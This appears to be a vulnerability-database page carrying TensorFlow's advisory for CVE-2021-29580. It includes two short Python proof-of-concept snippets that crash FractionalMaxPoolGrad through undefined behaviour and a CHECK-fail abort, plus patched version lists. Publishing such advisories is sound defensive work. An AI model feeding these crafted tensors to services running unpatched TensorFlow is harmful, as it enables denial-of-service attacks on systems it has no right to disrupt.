CVE-2021-29580Low· 2.5▾ SunlitUndefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`
▾ Sunlit zone — Low / medium · no exploitation signal
impact 13.8 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
The implementation of tf.raw_ops.FractionalMaxPoolGrad triggers an undefined behavior if one of the input tensors is empty:
import tensorflow as tf
orig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64)
orig_output = tf.constant([], dtype=tf.int64)
out_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64)
row_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
The code is also vulnerable to a denial of service attack as a CHECK condition becomes false and aborts the process
import tensorflow as tf
orig_input = tf.constant([1], shape=[1], dtype=tf.int64)
orig_output = tf.constant([1], shape=[1], dtype=tf.int64)
out_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalMaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
The implementation fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues.
We have patched the issue in GitHub commit 32fdcbff9d06d010d908fcc4bd4b36eb3ce15925.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
tensorflow < 2.1.4tensorflow >= 2.2.0, < 2.2.3tensorflow >= 2.3.0, < 2.3.3tensorflow >= 2.4.0, < 2.4.2tensorflow-cpu < 2.1.4tensorflow-cpu >= 2.2.0, < 2.2.3tensorflow-cpu >= 2.3.0, < 2.3.3tensorflow-cpu >= 2.4.0, < 2.4.2tensorflow-gpu < 2.1.4tensorflow-gpu >= 2.2.0, < 2.2.3tensorflow-gpu >= 2.3.0, < 2.3.3tensorflow-gpu >= 2.4.0, < 2.4.2Upgrade to a patched release:
tensorflow 2.1.4tensorflow 2.2.3tensorflow 2.3.3tensorflow 2.4.2tensorflow-cpu 2.1.4tensorflow-cpu 2.2.3tensorflow-cpu 2.3.3tensorflow-cpu 2.4.2tensorflow-gpu 2.1.4tensorflow-gpu 2.2.3tensorflow-gpu 2.3.3tensorflow-gpu 2.4.2Connected by shared product, vendor, weakness, or advisory.
CVE-2021-29541Low· 2.5Null pointer dereference in `StringNGrams`
CVE-2021-29525Low· 2.5Division by 0 in `Conv2DBackpropInput`
CVE-2021-29527Low· 2.5Division by 0 in `QuantizedConv2D`
CVE-2021-29524Low· 2.5Division by 0 in `Conv2DBackpropFilter`
CVE-2020-15207High· 8.7Segfault and data corruption in tensorflow-lite
CVE-2021-29535Low· 2.5Heap buffer overflow in `QuantizedMul`